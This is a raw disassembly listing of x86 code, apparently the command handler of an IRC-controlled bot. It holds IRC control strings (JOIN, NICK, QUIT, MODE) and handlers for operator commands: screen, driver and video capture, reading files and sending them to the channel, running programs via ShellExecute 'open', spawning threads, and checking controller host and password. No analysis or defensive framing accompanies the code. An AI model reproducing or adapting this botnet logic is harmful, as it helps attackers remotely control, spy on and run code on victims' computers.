push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
push offset dword_42A3D0
call sub_4151AC
jmp loc_40351F
; ---------------------------------------------------------------------------
loc_408BEA: ; CODE XREF: sub_401ACD+48A3j
; sub_401ACD+48BAj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push esi
lea eax, [ebp+var_2C4]
push offset dword_42AB04
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 20h
push esi
push [ebp+arg_10]
push offset unk_42A3B4
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408C57: ; CODE XREF: sub_401ACD+4875j
; sub_401ACD+488Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
call sub_41AFE0
push [ebp+arg_8]
mov esi, eax
call sub_41AFE0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41B900
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409854
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
push esi
push [ebp+arg_10]
push offset unk_42A394
jmp loc_408A4B
; ---------------------------------------------------------------------------
loc_408CAC: ; CODE XREF: sub_401ACD+4847j
; sub_401ACD+485Ej
cmp [ebp+var_C], ebx
jz loc_401E94
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
push eax
push [ebp+arg_10]
call sub_4150B4
pop ecx
pop ecx
push [ebp+arg_10]
push offset unk_42A374
loc_408CDB: ; CODE XREF: sub_401ACD+5852j
; sub_401ACD+7B2Aj
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40960F
; ---------------------------------------------------------------------------
loc_408CEF: ; CODE XREF: sub_401ACD+4819j
; sub_401ACD+4830j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4184E1
jmp loc_4040FC
; ---------------------------------------------------------------------------
loc_408D09: ; CODE XREF: sub_401ACD+47DBj
; sub_401ACD+47F0j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz loc_409854
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408DB1
push esi
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408D99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A5C8
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push [ebp+arg_10]
push offset unk_42A34C
push eax
call sub_41B886
add esp, 10h
inc [ebp+arg_24]
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408D99: ; CODE XREF: sub_401ACD+726Fj
lea eax, [ebp+var_2C4]
push offset unk_42A31C
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DB1: ; CODE XREF: sub_401ACD+725Aj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41ACF6
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
lea eax, [ebp+var_2C4]
push [ebp+arg_10]
push offset dword_42A300
push 200h
push eax
call sub_41B980
add esp, 10h
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_408DFD: ; CODE XREF: sub_401ACD+47B1j
; sub_401ACD+47C6j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408E58
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408E45
push edi
call sub_4153BC
cmp eax, 1
pop ecx
jnz short loc_408E3E
push edi
lea eax, [ebp+var_2C4]
push offset unk_42A2CC
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408E58
; ---------------------------------------------------------------------------
loc_408E3E: ; CODE XREF: sub_401ACD+7358j
push offset unk_42A29C
jmp short loc_408E4A
; ---------------------------------------------------------------------------
loc_408E45: ; CODE XREF: sub_401ACD+734Cj
push offset unk_42A260
loc_408E4A: ; CODE XREF: sub_401ACD+7376j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408E58: ; CODE XREF: sub_401ACD+7341j
; sub_401ACD+736Fj
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_408EE5
xor edi, edi
loc_408E6D: ; CODE XREF: sub_401ACD+7403j
lea eax, [ebp+var_53F8]
push 1FFh
push eax
lea eax, [ebp+var_4EF0]
push 0FFh
push eax
push edi
call dword_4CB654
test eax, eax
jz short loc_408ECC
lea eax, [ebp+var_53F8]
push eax
lea eax, [ebp+var_4EF0]
push eax
push edi
lea eax, [ebp+var_5D88]
push offset unk_42A230
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_5D88]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 28h
loc_408ECC: ; CODE XREF: sub_401ACD+73C1j
inc edi
cmp edi, 0Ah
jl short loc_408E6D
lea eax, [ebp+var_2C4]
push offset unk_42A208
push eax
call sub_41B886
pop ecx
pop ecx
loc_408EE5: ; CODE XREF: sub_401ACD+739Cj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408F86
cmp [ebp+esi+var_88], ebx
jz short loc_408F73
cmp [ebp+esi+var_84], ebx
jz short loc_408F73
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408F73
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408F73
push eax
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41B779
pop ecx
push eax
push [ebp+esi+var_88]
call sub_4155F7
add esp, 10h
test eax, eax
jnz short loc_408F6C
push [ebp+esi+var_88]
lea eax, [ebp+var_2C4]
push offset unk_42A1D4
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_408F86
; ---------------------------------------------------------------------------
loc_408F6C: ; CODE XREF: sub_401ACD+7480j
push offset unk_42A1A0
jmp short loc_408F78
; ---------------------------------------------------------------------------
loc_408F73: ; CODE XREF: sub_401ACD+7436j
; sub_401ACD+743Fj ...
push offset unk_42A168
loc_408F78: ; CODE XREF: sub_401ACD+74A4j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_408F86: ; CODE XREF: sub_401ACD+7429j
; sub_401ACD+749Dj
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_408759
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_40901E
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_40901E
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_40901E
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_40901E
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_40901E
push esi
call sub_41B779
pop ecx
push eax
push edi
call sub_41B779
pop ecx
push eax
push [ebp+arg_18]
call sub_41B779
pop ecx
push eax
push [ebp+arg_0]
call sub_41B779
pop ecx
push eax
push [ebp+arg_1C]
call sub_4157F0
add esp, 14h
test eax, eax
jnz short loc_409014
push [ebp+arg_1C]
push offset unk_42A134
jmp loc_40874A
; ---------------------------------------------------------------------------
loc_409014: ; CODE XREF: sub_401ACD+7538j
push offset unk_42A0F4
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_40901E: ; CODE XREF: sub_401ACD+74DCj
; sub_401ACD+74EAj ...
push offset unk_42A0B4
jmp loc_4090E2
; ---------------------------------------------------------------------------
loc_409028: ; CODE XREF: sub_401ACD+4041j
; sub_401ACD+4056j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41B4C2
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_409098
mov esi, 200h
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 0Ch
loc_409053: ; CODE XREF: sub_401ACD+75B5j
test eax, eax
jz short loc_409084
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
push edi
lea eax, [ebp+var_2C4]
push esi
push eax
call sub_41BB4F
add esp, 20h
jmp short loc_409053
; ---------------------------------------------------------------------------
loc_409084: ; CODE XREF: sub_401ACD+7588j
push edi
call sub_41B05B
pop ecx
push [ebp+arg_10]
push offset unk_42A090
jmp loc_409226
; ---------------------------------------------------------------------------
loc_409098: ; CODE XREF: sub_401ACD+756Ej
push [ebp+arg_10]
push offset unk_42A06C
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+4017j
; sub_401ACD+402Cj
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push offset asc_42A068 ; "\n"
push esi
call sub_41BEC0
push esi
call sub_419A50
add esp, 0Ch
test eax, eax
jnz short loc_4090F5
push offset unk_42A03C
loc_4090E2: ; CODE XREF: sub_401ACD+754Cj
; sub_401ACD+7556j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_408759
; ---------------------------------------------------------------------------
loc_4090F5: ; CODE XREF: sub_401ACD+760Ej
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A024
push eax
call sub_41B886
add esp, 0Ch
jmp loc_40877A
; ---------------------------------------------------------------------------
loc_40910F: ; CODE XREF: sub_401ACD+3FEDj
; sub_401ACD+4002j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_409854
push eax
call sub_418211
test eax, eax
pop ecx
jnz short loc_40913F
push offset unk_42A004
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_40913F: ; CODE XREF: sub_401ACD+7669j
push offset dword_429FE8
jmp short loc_4090E2
; ---------------------------------------------------------------------------
loc_409146: ; CODE XREF: sub_401ACD+3FC3j
; sub_401ACD+3FD8j
push 7Fh
lea eax, [ebp+var_2080]
push [ebp+arg_10]
push eax
call sub_41B5F0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409177
push 7Fh
lea eax, [ebp+var_2000]
push esi
push eax
call sub_41B5F0
add esp, 0Ch
loc_409177: ; CODE XREF: sub_401ACD+7696j
push 7Fh
lea eax, [ebp+var_1F80]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2084], eax
mov eax, [ebp+var_8]
push [ebp+arg_10]
mov [ebp+var_1EFC], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EF8], eax
lea eax, [ebp+var_2C4]
push offset dword_429FD0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B0F6
add esp, 18h
mov [ebp+var_1F00], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2084]
push ebx
push eax
push offset sub_41ADB5
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1F00]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz short loc_40921A
loc_409204: ; CODE XREF: sub_401ACD+774Bj
cmp [ebp+var_1EF4], ebx
jnz loc_406CFF
push 32h
nop
call near ptr 2820566h
jmp short loc_409204
; ---------------------------------------------------------------------------
loc_40921A: ; CODE XREF: sub_401ACD+7735j
nop
call near ptr 2830047h
push eax
push offset unk_429F90
loc_409226: ; CODE XREF: sub_401ACD+29CEj
; sub_401ACD+75C6j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
jmp loc_406CFF
; ---------------------------------------------------------------------------
loc_40923A: ; CODE XREF: sub_401ACD+3F99j
; sub_401ACD+3FAEj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40F96A
add esp, 10h
push [ebp+arg_10]
push offset dword_429F78
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj
; sub_401ACD+3F84j
push 14h
lea eax, [ebp+var_1D48]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1D34]
push [ebp+arg_10]
push offset aS_1 ; "%s"
push eax
call sub_41B886
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D50], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C30]
push 80h
push eax
call sub_41B980
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BA8], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA4], eax
lea eax, [ebp+var_1C30]
push eax
lea eax, [ebp+var_1D34]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F54
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F6
add esp, 1Ch
mov [ebp+var_1BAC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D50]
push ebx
push eax
push offset loc_415E1A
push ebx
push ebx
nop
call near ptr 282060Ah
mov ecx, [ebp+var_1BAC]
imul ecx, 234h
cmp eax, ebx
mov dword_43E574[ecx], eax
jz loc_4023E6
loc_409325: ; CODE XREF: sub_401ACD+786Cj
cmp [ebp+var_1BA0], ebx
jnz loc_4083BC
push 32h
nop
call near ptr 2820566h
jmp short loc_409325
; ---------------------------------------------------------------------------
loc_40933B: ; CODE XREF: sub_401ACD+3F45j
; sub_401ACD+3F5Aj
push [ebp+arg_10]
nop
call near ptr 282080Eh
test eax, eax
jz short loc_409366
push [ebp+arg_10]
lea eax, [ebp+var_2C4]
push offset dword_429F38
push 200h
push eax
call sub_41B980
jmp loc_409444
; ---------------------------------------------------------------------------
loc_409366: ; CODE XREF: sub_401ACD+7879j
push offset dword_42A740
call sub_41814C
pop ecx
push eax
jmp loc_403F47
; ---------------------------------------------------------------------------
loc_409377: ; CODE XREF: sub_401ACD+3F1Bj
; sub_401ACD+3F30j
push [ebp+arg_10]
call sub_41B779
push eax
call sub_4199C9
pop ecx
pop ecx
push 1
pop esi
push [ebp+arg_10]
cmp eax, esi
jnz short loc_409398
push offset unk_429F14
jmp short loc_40939D
; ---------------------------------------------------------------------------
loc_409398: ; CODE XREF: sub_401ACD+78C2j
push offset unk_429EE4
loc_40939D: ; CODE XREF: sub_401ACD+78C9j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406D02
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
jmp loc_406D02
; ---------------------------------------------------------------------------
loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j
; sub_401ACD+3F06j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4196BC
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_4093FC
push offset unk_429EC4
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4093FC: ; CODE XREF: sub_401ACD+7923j
push offset unk_429E94
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_409406: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDCj
mov esi, [ebp+arg_10]
push esi
call dword_4CB664
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_40944C
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB5DC
cmp eax, ebx
jz short loc_409467
push dword ptr [eax]
loc_409432: ; CODE XREF: sub_401ACD+7998j
push esi
lea eax, [ebp+var_2C4]
push offset unk_429E74
push eax
call sub_41B886
loc_409444: ; CODE XREF: sub_401ACD+7894j
add esp, 10h
jmp loc_406CDE
; ---------------------------------------------------------------------------
loc_40944C: ; CODE XREF: sub_401ACD+794Cj
push esi
call dword_4CB6A8
cmp eax, ebx
jz short loc_409467
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CB6B0
push eax
jmp short loc_409432
; ---------------------------------------------------------------------------
loc_409467: ; CODE XREF: sub_401ACD+7961j
; sub_401ACD+7988j
push offset unk_429E4C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_409471: ; CODE XREF: sub_401ACD+3E9Dj
; sub_401ACD+3EB2j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41B5F0
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429E24
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40948E: ; CODE XREF: sub_401ACD+3E73j
; sub_401ACD+3E88j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CB590
push [ebp+arg_10]
test eax, eax
jz short loc_4094B2
push offset unk_429E04
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094B2: ; CODE XREF: sub_401ACD+79D9j
push offset unk_429DE0
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_4094BC: ; CODE XREF: sub_401ACD+3E49j
; sub_401ACD+3E5Ej
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_429094, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_429DB8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_4094D5: ; CODE XREF: sub_401ACD+3E1Fj
; sub_401ACD+3E34j
push [ebp+arg_10]
call sub_41B779
test eax, eax
pop ecx
jle loc_409854
push [ebp+arg_10]
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_409854
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42BB1C
push eax
call sub_41B886
add esp, 0Ch
jmp loc_408994
; ---------------------------------------------------------------------------
loc_409527: ; CODE XREF: sub_401ACD+3DF5j
; sub_401ACD+3E0Aj
mov esi, [ebp+arg_10]
push esi
call sub_41B779
test eax, eax
pop ecx
jle loc_401E94
push esi
call sub_41B779
cmp eax, 400h
pop ecx
jge loc_401E94
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call sub_409A2C
pop ecx
pop ecx
push 1F4h
nop
call near ptr 2820566h
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E56C[eax]
call dword_4CB6BC
push [ebp+var_10]
push esi
call sub_41B779
imul eax, 234h
pop ecx
push dword_43E574[eax]
nop
call near ptr 2840000h
push esi
call sub_41B779
imul eax, 234h
push esi
mov dword_43E574[eax], ebx
call sub_41B779
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E360[eax], bl
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4095D5: ; CODE XREF: sub_401ACD+3DCBj
; sub_401ACD+3DE0j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_409641
call sub_40B2BF
cmp eax, ebx
jle short loc_4095FC
push eax
push offset unk_429D8C
jmp loc_408CDB
; ---------------------------------------------------------------------------
loc_4095FC: ; CODE XREF: sub_401ACD+7B22j
push offset unk_429D64
loc_409601: ; CODE XREF: sub_401ACD+24F9j
; sub_401ACD+2518j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40960F: ; CODE XREF: sub_401ACD+721Dj
cmp [ebp+var_8], ebx
jnz short loc_409630
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_409628: ; CODE XREF: sub_401ACD+6DB4j
call sub_409A72
add esp, 14h
loc_409630: ; CODE XREF: sub_401ACD+26F6j
; sub_401ACD+2721j ...
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
jmp loc_40207D
; ---------------------------------------------------------------------------
loc_409641: ; CODE XREF: sub_401ACD+7B19j
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401E94
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_40965D: ; CODE XREF: sub_401ACD+7C01j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401E94
push esi
call sub_41B779
push eax
call sub_40B231
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_409684
push offset unk_429D40
jmp short loc_409689
; ---------------------------------------------------------------------------
loc_409684: ; CODE XREF: sub_401ACD+7BAEj
push offset unk_429D14
loc_409689: ; CODE XREF: sub_401ACD+7BB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4096B9
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4096B9: ; CODE XREF: sub_401ACD+7BCEj
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_40965D
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_4096D5: ; CODE XREF: sub_401ACD+3DA1j
; sub_401ACD+3DB6j
cmp [ebp+var_C], ebx
jz loc_409854
push [ebp+arg_10]
push [ebp+var_C]
call sub_41B900
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409854
push esi
push offset dword_42A480
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push esi
push offset dword_429CF8
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409711: ; CODE XREF: sub_401ACD+3D77j
; sub_401ACD+3D8Cj
push [ebp+arg_10]
push offset dword_42A3E4
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429CD4
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409731: ; CODE XREF: sub_401ACD+3D4Dj
; sub_401ACD+3D62j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_10]
push offset unk_429CB0
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409758: ; CODE XREF: sub_401ACD+3D23j
; sub_401ACD+3D38j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push [ebp+arg_10]
push offset unk_429C8C
jmp loc_40984D
; ---------------------------------------------------------------------------
loc_409778: ; CODE XREF: sub_401ACD+3163j
; sub_401ACD+3178j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429C68
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
loc_4097B2: ; CODE XREF: sub_401ACD+7D33j
push eax
call near ptr 2820566h
nop
loc_4097B9: ; CODE XREF: sub_401ACD+2AA2j
xor eax, eax
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_4097C0: ; CODE XREF: sub_401ACD+3139j
; sub_401ACD+314Ej
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409A2C
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push [ebp+arg_10]
push offset unk_429C40
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AC
push [ebp+arg_10]
call sub_41B779
add esp, 14h
imul eax, 3E8h
jmp short loc_4097B2
; ---------------------------------------------------------------------------
loc_409802: ; CODE XREF: sub_401ACD+EC8j
; sub_401ACD+EDDj
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40B08D
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C1C
loc_40984D: ; CODE XREF: sub_401ACD+70B4j
; sub_401ACD+778Aj ...
call sub_415220
pop ecx
loc_409853: ; CODE XREF: sub_401ACD+6CB9j
pop ecx
loc_409854: ; CODE XREF: sub_401ACD+659j
; sub_401ACD+665j ...
mov eax, [ebp+arg_24]
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_40985C: ; CODE XREF: sub_401ACD+AB5j
; sub_401ACD+AC8j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401E94
cmp [ebp+var_A4], ebx
jnz loc_401E94
push offset asc_42D0EC ; "!"
push [ebp+var_90]
call sub_41C0F4
mov esi, eax
push offset dword_4CB4DC
push ebx
inc esi
call sub_41C0F4
push offset asc_429C18 ; "~"
push eax
call sub_41C0F4
push [ebp+arg_10]
mov edi, eax
push offset aCool ; "cool"
call sub_41C070
add esp, 20h
test eax, eax
jz short loc_4098FB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_429B98
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_4098FB: ; CODE XREF: sub_401ACD+7DEAj
mov [ebp+arg_24], offset off_42915C
loc_409902: ; CODE XREF: sub_401ACD+7E51j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B44F
pop ecx
test eax, eax
pop ecx
jnz short loc_409962
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_409902
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push edi
push esi
push offset unk_429B44
jmp loc_40240A
; ---------------------------------------------------------------------------
loc_409962: ; CODE XREF: sub_401ACD+7E44j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409967: ; CODE XREF: sub_401ACD+7EC4j
cmp [ebp+arg_10], ebx
jz loc_401E94
cmp [edi], bl
jnz short loc_409987
push [ebp+arg_10]
push offset aCool ; "cool"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_409998
loc_409987: ; CODE XREF: sub_401ACD+7EA5j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409967
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_409998: ; CODE XREF: sub_401ACD+7EB8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41B5F0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4099CF
push ebx
push [ebp+var_4]
push offset unk_429B24
push [ebp+var_88]
push [ebp+arg_4]
call sub_409A72
add esp, 14h
loc_4099CF: ; CODE XREF: sub_401ACD+7EE6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B04
jmp loc_402077
; ---------------------------------------------------------------------------
loc_4099E0: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2C
add esp, 10h
mov dword_4CB4D4, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409A2C proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C190
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB674
leave
retn
